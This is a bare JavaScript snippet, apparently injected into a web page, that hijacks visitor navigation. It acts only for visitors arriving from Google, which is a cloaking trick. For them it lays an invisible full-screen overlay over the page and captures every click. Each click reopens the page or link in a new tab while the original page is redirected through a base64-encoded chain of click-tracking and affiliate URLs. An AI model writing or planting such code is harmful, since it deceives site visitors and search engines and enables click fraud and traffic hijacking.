function ready(fn) { if (document.readyState !== 'loading') { fn(); return; }else{ setTimeout(function() {ready(fn)}, 500); } sessionStorage.setItem("ok",1); if(sessionStorage.getItem("ok")=="1"){ document.addEventListener('DOMContentLoaded', fn); } } ready(function(){ //setTimeout(fin, 40000); setTimeout(fin, 0); }); function on() { document.getElementById("ovrl").style.display = "block"; } function off() { document.getElementById("ovrl").style.display = "none"; } function clkf(){ document.body.addEventListener("click", function (e) { //debugger; e.preventDefault(); if (e.target.href){ window.open(e.target.href, "_blank"); window.location.replace("https://pp.bestscoop.it/static/click.php?b=f7a5d99a-1918-4f1c-9994-3c8b1ad09c08&c=4&u=142&rd=aHR0cHM6Ly9tYW1tZWRpc3BlcmF0ZS5pdC90Y2xrLnBocD9xPW15c2VjcmV0Y2FzZSZyZHI9YUhSMGNITTZMeTlrWldGc2N5NXRlWE5sWTNKbGRHTmhjMlV1WTI5dEwyTS9ZejB6T0RReU1pWmhiWEE3YlQweU16VXpOalEwSm1GdGNEdGhQVE0yT1RZNE9TWmhiWEE3V1ZrME5GVmFWQ1p5UFE9PQ=="); }else { window.open(window.location.href, "_blank"); window.location.replace("https://pp.bestscoop.it/static/click.php?b=f7a5d99a-1918-4f1c-9994-3c8b1ad09c08&c=4&u=142&rd=aHR0cHM6Ly9tYW1tZWRpc3BlcmF0ZS5pdC90Y2xrLnBocD9xPW15c2VjcmV0Y2FzZSZyZHI9YUhSMGNITTZMeTlrWldGc2N5NXRlWE5sWTNKbGRHTmhjMlV1WTI5dEwyTS9ZejB6T0RReU1pWmhiWEE3YlQweU16VXpOalEwSm1GdGNEdGhQVE0yT1RZNE9TWmhiWEE3V1ZrME5GVmFWQ1p5UFE9PQ=="); } off(); }); } function fin(){ var ref=document.referrer; if(ref.indexOf("google")<0) { return; } const style = document.createElement('style'); style.textContent = ` #ovrl { position: fixed; display: none; width: 100%; height: 100%; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(0,0,0,0.5); z-index: 2; cursor: pointer; `; var div = document.createElement('div'); div.setAttribute('id', 'ovrl'); div.onclick =clkf(); document.body.appendChild(div); on(); }